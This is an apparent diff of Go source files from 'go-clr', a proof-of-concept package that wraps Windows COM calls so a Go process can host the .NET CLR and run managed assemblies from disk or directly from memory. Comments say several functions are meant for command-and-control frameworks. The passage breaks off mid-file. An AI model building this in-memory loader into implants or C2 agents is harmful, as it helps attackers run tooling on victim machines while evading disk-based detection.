ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *AppDomain) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// GetHashCode serves as the default hash function.
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.object.gethashcode?view=netframework-4.8#System_Object_GetHashCode
|
||||
func (obj *AppDomain) GetHashCode() (int32, error) {
|
||||
debugPrint("Entering into appdomain.GetHashCode()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetHashCode,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the appdomain.GetHashCode function returned an error:\r\n%s", err)
|
||||
}
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
return int32(ret), nil
|
||||
}
|
||||
|
||||
// Load_3 Loads an Assembly into this application domain.
|
||||
// virtual HRESULT __stdcall Load_3 (
|
||||
// /*[in]*/ SAFEARRAY * rawAssembly,
|
||||
// /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0;
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-5.0
|
||||
func (obj *AppDomain) Load_3(rawAssembly *SafeArray) (assembly *Assembly, err error) {
|
||||
debugPrint("Entering into appdomain.Load_3()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.Load_3,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(rawAssembly)),
|
||||
uintptr(unsafe.Pointer(&assembly)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
if err != syscall.Errno(1150) {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the appdomain.Load_3 function returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// ToString Obtains a string representation that includes the friendly name of the application domain and any context policies.
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.tostring?view=net-5.0#System_AppDomain_ToString
|
||||
func (obj *AppDomain) ToString() (domain string, err error) {
|
||||
debugPrint("Entering into appdomain.ToString()...")
|
||||
var pDomain *string
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.get_ToString,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pDomain)),
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the AppDomain.ToString method retured an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the AppDomain.ToString method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
domain = ReadUnicodeStr(unsafe.Pointer(pDomain))
|
||||
return
|
||||
}
|
||||
+129
@@ -0,0 +1,129 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// from mscorlib.tlh
|
||||
|
||||
type Assembly struct {
|
||||
vtbl *AssemblyVtbl
|
||||
}
|
||||
|
||||
// AssemblyVtbl is a COM virtual table of functions for the Assembly Class
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.8
|
||||
type AssemblyVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
GetTypeInfoCount uintptr
|
||||
GetTypeInfo uintptr
|
||||
GetIDsOfNames uintptr
|
||||
Invoke uintptr
|
||||
get_ToString uintptr
|
||||
Equals uintptr
|
||||
GetHashCode uintptr
|
||||
GetType uintptr
|
||||
get_CodeBase uintptr
|
||||
get_EscapedCodeBase uintptr
|
||||
GetName uintptr
|
||||
GetName_2 uintptr
|
||||
get_FullName uintptr
|
||||
get_EntryPoint uintptr
|
||||
GetType_2 uintptr
|
||||
GetType_3 uintptr
|
||||
GetExportedTypes uintptr
|
||||
GetTypes uintptr
|
||||
GetManifestResourceStream uintptr
|
||||
GetManifestResourceStream_2 uintptr
|
||||
GetFile uintptr
|
||||
GetFiles uintptr
|
||||
GetFiles_2 uintptr
|
||||
GetManifestResourceNames uintptr
|
||||
GetManifestResourceInfo uintptr
|
||||
get_Location uintptr
|
||||
get_Evidence uintptr
|
||||
GetCustomAttributes uintptr
|
||||
GetCustomAttributes_2 uintptr
|
||||
IsDefined uintptr
|
||||
GetObjectData uintptr
|
||||
add_ModuleResolve uintptr
|
||||
remove_ModuleResolve uintptr
|
||||
GetType_4 uintptr
|
||||
GetSatelliteAssembly uintptr
|
||||
GetSatelliteAssembly_2 uintptr
|
||||
LoadModule uintptr
|
||||
LoadModule_2 uintptr
|
||||
CreateInstance uintptr
|
||||
CreateInstance_2 uintptr
|
||||
CreateInstance_3 uintptr
|
||||
GetLoadedModules uintptr
|
||||
GetLoadedModules_2 uintptr
|
||||
GetModules uintptr
|
||||
GetModules_2 uintptr
|
||||
GetModule uintptr
|
||||
GetReferencedAssemblies uintptr
|
||||
get_GlobalAssemblyCache uintptr
|
||||
}
|
||||
|
||||
func (obj *Assembly) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(riid)),
|
||||
uintptr(unsafe.Pointer(ppvObject)))
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *Assembly) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *Assembly) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// GetEntryPoint returns the assembly's MethodInfo
|
||||
// virtual HRESULT __stdcall get_EntryPoint (
|
||||
// /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0;
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.entrypoint?view=netframework-4.8#System_Reflection_Assembly_EntryPoint
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=netframework-4.8
|
||||
func (obj *Assembly) GetEntryPoint() (pRetVal *MethodInfo, err error) {
|
||||
debugPrint("Entering into assembly.GetEntryPoint()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.get_EntryPoint,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pRetVal)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the Assembly::GetEntryPoint method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the Assembly::GetEntryPoint method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+367
@@ -0,0 +1,367 @@
|
||||
// +build windows
|
||||
|
||||
// go-clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
|
||||
// execute a managed DLL from disk or a managed EXE from memory
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// GetInstallRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
|
||||
func GetInstalledRuntimes(metahost *ICLRMetaHost) ([]string, error) {
|
||||
var runtimes []string
|
||||
enumICLRRuntimeInfo, err := metahost.EnumerateInstalledRuntimes()
|
||||
if err != nil {
|
||||
return runtimes, err
|
||||
}
|
||||
|
||||
var hr int
|
||||
for hr != S_FALSE {
|
||||
var runtimeInfo *ICLRRuntimeInfo
|
||||
var fetched = uint32(0)
|
||||
hr, err = enumICLRRuntimeInfo.Next(1, unsafe.Pointer(&runtimeInfo), &fetched)
|
||||
if err != nil {
|
||||
return runtimes, fmt.Errorf("InstalledRuntimes Next Error:\r\n%s\n", err)
|
||||
}
|
||||
if hr == S_FALSE {
|
||||
break
|
||||
}
|
||||
// Only release if an interface pointer was returned
|
||||
runtimeInfo.Release()
|
||||
|
||||
version, err := runtimeInfo.GetVersionString()
|
||||
if err != nil {
|
||||
return runtimes, err
|
||||
}
|
||||
runtimes = append(runtimes, version)
|
||||
}
|
||||
if len(runtimes) == 0 {
|
||||
return runtimes, fmt.Errorf("Could not find any installed runtimes")
|
||||
}
|
||||
return runtimes, err
|
||||
}
|
||||
|
||||
// ExecuteDLLFromDisk is a wrapper function that will automatically load the latest installed CLR into the current process
|
||||
// and execute a DLL on disk in the default app domain. It takes in the target runtime, DLLPath, TypeName, MethodName
|
||||
// and Argument to use as strings. It returns the return code from the assembly
|
||||
func ExecuteDLLFromDisk(targetRuntime, dllpath, typeName, methodName, argument string) (retCode int16, err error) {
|
||||
retCode = -1
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
}
|
||||
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
runtimes, err := GetInstalledRuntimes(metahost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var latestRuntime string
|
||||
for _, r := range runtimes {
|
||||
if strings.Contains(r, targetRuntime) {
|
||||
latestRuntime = r
|
||||
break
|
||||
} else {
|
||||
latestRuntime = r
|
||||
}
|
||||
}
|
||||
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
isLoadable, err := runtimeInfo.IsLoadable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !isLoadable {
|
||||
return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
|
||||
}
|
||||
runtimeHost, err := GetICLRRuntimeHost(runtimeInfo)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
pDLLPath, err := syscall.UTF16PtrFromString(dllpath)
|
||||
must(err)
|
||||
pTypeName, err := syscall.UTF16PtrFromString(typeName)
|
||||
must(err)
|
||||
pMethodName, err := syscall.UTF16PtrFromString(methodName)
|
||||
must(err)
|
||||
pArgument, err := syscall.UTF16PtrFromString(argument)
|
||||
must(err)
|
||||
|
||||
ret, err := runtimeHost.ExecuteInDefaultAppDomain(pDLLPath, pTypeName, pMethodName, pArgument)
|
||||
must(err)
|
||||
if *ret != 0 {
|
||||
return int16(*ret), fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero return value: %d", *ret)
|
||||
}
|
||||
|
||||
runtimeHost.Release()
|
||||
runtimeInfo.Release()
|
||||
metahost.Release()
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
// ExecuteByteArray is a wrapper function that will automatically loads the supplied target framework into the current
|
||||
// process using the legacy APIs, then load and execute an executable from memory. If no targetRuntime is specified, it
|
||||
// will default to latest. It takes in a byte array of the executable to load and run and returns the return code.
|
||||
// You can supply an array of strings as command line arguments.
|
||||
func ExecuteByteArray(targetRuntime string, rawBytes []byte, params []string) (retCode int32, err error) {
|
||||
retCode = -1
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
}
|
||||
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
runtimes, err := GetInstalledRuntimes(metahost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var latestRuntime string
|
||||
for _, r := range runtimes {
|
||||
if strings.Contains(r, targetRuntime) {
|
||||
latestRuntime = r
|
||||
break
|
||||
} else {
|
||||
latestRuntime = r
|
||||
}
|
||||
}
|
||||
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
isLoadable, err := runtimeInfo.IsLoadable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !isLoadable {
|
||||
return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
|
||||
}
|
||||
runtimeHost, err := GetICORRuntimeHost(runtimeInfo)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
safeArrayPtr, err := CreateSafeArray(rawBytes)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
assembly, err := appDomain.Load_3(safeArrayPtr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
methodInfo, err := assembly.GetEntryPoint()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var paramSafeArray *SafeArray
|
||||
methodSignature, err := methodInfo.GetString()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if expectsParams(methodSignature) {
|
||||
if paramSafeArray, err = PrepareParameters(params); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
nullVariant := Variant{
|
||||
VT: 1,
|
||||
Val: uintptr(0),
|
||||
}
|
||||
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
appDomain.Release()
|
||||
runtimeHost.Release()
|
||||
runtimeInfo.Release()
|
||||
metahost.Release()
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
// LoadCLR loads the target runtime into the current process and returns the runtimehost
|
||||
// The intended purpose is for the runtimehost to be reused for subsequent operations
|
||||
// throught the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) {
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
}
|
||||
|
||||
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
|
||||
if err != nil {
|
||||
return runtimeHost, fmt.Errorf("there was an error enumerating the installed CLR runtimes:\n%s", err)
|
||||
}
|
||||
|
||||
runtimes, err := GetInstalledRuntimes(metahost)
|
||||
debugPrint(fmt.Sprintf("Installed Runtimes: %v", runtimes))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var latestRuntime string
|
||||
for _, r := range runtimes {
|
||||
if strings.Contains(r, targetRuntime) {
|
||||
latestRuntime = r
|
||||
break
|
||||
} else {
|
||||
latestRuntime = r
|
||||
}
|
||||
}
|
||||
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
isLoadable, err := runtimeInfo.IsLoadable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !isLoadable {
|
||||
err = fmt.Errorf("%s is not loadable for some reason", latestRuntime)
|
||||
}
|
||||
|
||||
return GetICORRuntimeHost(runtimeInfo)
|
||||
}
|
||||
|
||||
// ExecuteByteArrayDefaultDomain uses a previously instantiated runtimehost, gets the default AppDomain,
|
||||
// loads the assembly into, executes the assembly, and then releases AppDomain
|
||||
// Intended to be used by C2 frameworks to quickly execute an assembly one time
|
||||
func ExecuteByteArrayDefaultDomain(runtimeHost *ICORRuntimeHost, rawBytes []byte, params []string) (stdout string, stderr string) {
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
safeArrayPtr, err := CreateSafeArray(rawBytes)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
assembly, err := appDomain.Load_3(safeArrayPtr)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
methodInfo, err := assembly.GetEntryPoint()
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
var paramSafeArray *SafeArray
|
||||
methodSignature, err := methodInfo.GetString()
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
if expectsParams(methodSignature) {
|
||||
if paramSafeArray, err = PrepareParameters(params); err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
nullVariant := Variant{
|
||||
VT: 1,
|
||||
Val: uintptr(0),
|
||||
}
|
||||
|
||||
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
assembly.Release()
|
||||
appDomain.Release()
|
||||
return
|
||||
}
|
||||
|
||||
// LoadAssembly uses a previously instantiated runtimehost and loads an assembly into the default AppDomain
|
||||
// and returns the assembly's methodInfo structure. The intended purpose is for the assembly to be loaded
|
||||
// once but executed many times throught the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *MethodInfo, err error) {
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
safeArrayPtr, err := CreateSafeArray(rawBytes)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
assembly, err := appDomain.Load_3(safeArrayPtr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return assembly.GetEntryPoint()
|
||||
}
|
||||
|
||||
// InvokeAssembly uses the MethodInfo structure of a previously loaded assembly and executes it.
|
||||
// The intended purpose is for the assembly to be executed many times throught the duration of the
|
||||
// program. Commonly used with C2 frameworks
|
||||
func InvokeAssembly(methodInfo *MethodInfo, params []string) (stdout string, stderr string) {
|
||||
var paramSafeArray *SafeArray
|
||||
methodSignature, err := methodInfo.GetString()
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
if expectsParams(methodSignature) {
|
||||
if paramSafeArray, err = PrepareParameters(params); err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
nullVariant := Variant{
|
||||
VT: 1,
|
||||
Val: uintptr(0),
|
||||
}
|
||||
|
||||
defer SafeArrayDestroy(paramSafeArray)
|
||||
|
||||
// Ensure exclusive access to read/write STDOUT/STDERR
|
||||
mutex.Lock()
|
||||
defer mutex.Unlock()
|
||||
|
||||
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
// Don't return because there could be data on STDOUT/STDERR
|
||||
}
|
||||
|
||||
// Read data from previously redirected STDOUT/STDERR
|
||||
if wSTDOUT != nil {
|
||||
var e string
|
||||
stdout, e, err = ReadStdoutStderr()
|
||||
stderr += e
|
||||
if err != nil {
|
||||
stderr += err.Error()
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
CLSID_CLRMetaHost = windows.GUID{Data1: 0x9280188d, Data2: 0x0e8e, Data3: 0x4867, Data4: [8]byte{0xb3, 0x0c, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}}
|
||||
IID_ICLRMetaHost = windows.GUID{Data1: 0xD332DB9E, Data2: 0xB9B3, Data3: 0x4125, Data4: [8]byte{0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}}
|
||||
IID_ICLRRuntimeInfo = windows.GUID{Data1: 0xBD39D1D2, Data2: 0xBA2F, Data3: 0x486a, Data4: [8]byte{0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}}
|
||||
CLSID_CLRRuntimeHost = windows.GUID{Data1: 0x90F1A06E, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
|
||||
IID_ICLRRuntimeHost = windows.GUID{Data1: 0x90F1A06C, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
|
||||
IID_ICorRuntimeHost = windows.GUID{Data1: 0xcb2f6722, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
|
||||
CLSID_CorRuntimeHost = windows.GUID{Data1: 0xcb2f6723, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
|
||||
IID_AppDomain = windows.GUID{Data1: 0x05f696dc, Data2: 0x2b29, Data3: 0x3663, Data4: [8]byte{0xad, 0x8b, 0xc4, 0x38, 0x9c, 0xf2, 0xa7, 0x13}}
|
||||
// IID_IErrorInfo is the interface ID for the Error interface 1CF2B120-547D-101B-8E65-08002B2BD119
|
||||
IID_IErrorInfo = windows.GUID{Data1: 0x1cf2b120, Data2: 0x547d, Data3: 0x101b, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
|
||||
// DF0B3D60-548F-101B-8E65-08002B2BD119 https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
|
||||
IID_ISupportErrorInfo = windows.GUID{Data1: 0xDF0B3D60, Data2: 0x548F, Data3: 0x101B, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
|
||||
)
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
package clr
|
||||
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/interop/how-to-map-hresults-and-exceptions
|
||||
// https://docs.microsoft.com/en-us/windows/win32/seccrypto/common-hresult-values
|
||||
|
||||
const (
|
||||
S_OK = 0x00
|
||||
S_FALSE = 0x01
|
||||
// COR_E_TARGETINVOCATION is TargetInvocationException
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.targetinvocationexception?view=net-5.0
|
||||
COR_E_TARGETINVOCATION uint32 = 0x80131604
|
||||
// COR_E_SAFEARRAYRANKMISMATCH is SafeArrayRankMismatchException
|
||||
COR_E_SAFEARRAYRANKMISMATCH uint32 = 0x80131538
|
||||
// COR_E_BADIMAGEFORMAT is BadImageFormatException
|
||||
COR_E_BADIMAGEFORMAT uint32 = 0x8007000b
|
||||
// DISP_E_BADPARAMCOUNT is invalid number of parameters
|
||||
DISP_E_BADPARAMCOUNT uint32 = 0x8002000e
|
||||
// E_POINTER Pointer that is not valid
|
||||
E_POINTER uint32 = 0x80004003
|
||||
// E_NOINTERFACE No such interface supported
|
||||
E_NOINTERFACE uint32 = 0x80004002
|
||||
)
|
||||
+187
@@ -0,0 +1,187 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// Couldnt have done any of this without this SO answer I stumbled on:
|
||||
// https://stackoverflow.com/questions/37781676/how-to-use-com-component-object-model-in-golang
|
||||
|
||||
//ICLRMetaHost Interface from metahost.h
|
||||
type ICLRMetaHost struct {
|
||||
vtbl *ICLRMetaHostVtbl
|
||||
}
|
||||
|
||||
// ICLRMetaHostVtbl provides methods that return a specific version of the common language runtime (CLR)
|
||||
// based on its version number, list all installed CLRs, list all runtimes that are loaded in a specified
|
||||
// process, discover the CLR version used to compile an assembly, exit a process with a clean runtime
|
||||
// shutdown, and query legacy API binding.
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-interface
|
||||
type ICLRMetaHostVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular CLR version.
|
||||
// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
|
||||
GetRuntime uintptr
|
||||
// GetVersionFromFile gets the assembly's original .NET Framework compilation version (stored in the metadata),
|
||||
// given its file path. This method supersedes GetFileVersion.
|
||||
GetVersionFromFile uintptr
|
||||
// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
|
||||
// pointer for each CLR version that is installed on a computer.
|
||||
EnumerateInstalledRuntimes uintptr
|
||||
// EnumerateLoadedRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
|
||||
// pointer for each CLR that is loaded in a given process. This method supersedes GetVersionFromProcess.
|
||||
EnumerateLoadedRuntimes uintptr
|
||||
// RequestRuntimeLoadedNotification guarantees a callback to the specified function pointer when a
|
||||
// CLR version is first loaded, but not yet started. This method supersedes LockClrVersion
|
||||
RequestRuntimeLoadedNotification uintptr
|
||||
// QueryLegacyV2RuntimeBinding returns an interface that represents a runtime to which legacy activation policy
|
||||
// has been bound, for example by using the useLegacyV2RuntimeActivationPolicy attribute on the <startup> Element
|
||||
// configuration file entry, by direct use of the legacy activation APIs, or by calling the
|
||||
// ICLRRuntimeInfo::BindAsLegacyV2Runtime method.
|
||||
QueryLegacyV2RuntimeBinding uintptr
|
||||
// ExitProcess attempts to shut down all loaded runtimes gracefully and then terminates the process.
|
||||
ExitProcess uintptr
|
||||
}
|
||||
|
||||
// CLRCreateInstance provides one of three interfaces: ICLRMetaHost, ICLRMetaHostPolicy, or ICLRDebugging.
|
||||
// HRESULT CLRCreateInstance(
|
||||
// [in] REFCLSID clsid,
|
||||
// [in] REFIID riid,
|
||||
// [out] LPVOID * ppInterface
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function
|
||||
func CLRCreateInstance(clsid, riid windows.GUID) (ppInterface *ICLRMetaHost, err error) {
|
||||
debugPrint("Entering into iclrmetahost.CLRCreateInstance()...")
|
||||
|
||||
if clsid != CLSID_CLRMetaHost {
|
||||
err = fmt.Errorf("the input Class ID (CLSID) is not supported: %s", clsid)
|
||||
return
|
||||
}
|
||||
|
||||
modMSCoree := syscall.MustLoadDLL("mscoree.dll")
|
||||
procCLRCreateInstance := modMSCoree.MustFindProc("CLRCreateInstance")
|
||||
|
||||
// For some reason this procedure call returns "The specified procedure could not be found." even though it works
|
||||
hr, _, err := procCLRCreateInstance.Call(
|
||||
uintptr(unsafe.Pointer(&clsid)),
|
||||
uintptr(unsafe.Pointer(&riid)),
|
||||
uintptr(unsafe.Pointer(&ppInterface)),
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
// TODO Figure out why "The specified procedure could not be found." is returned even though everything works fine?
|
||||
debugPrint(fmt.Sprintf("the mscoree!CLRCreateInstance function returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the mscoree!CLRCreateInstance function returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
func (obj *ICLRMetaHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into icorruntimehost.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (obj *ICLRMetaHost) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICLRMetaHost) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface for each
|
||||
// version of the common language runtime (CLR) that is installed on a computer.
|
||||
// HRESULT EnumerateInstalledRuntimes (
|
||||
// [out, retval] IEnumUnknown **ppEnumerator);
|
||||
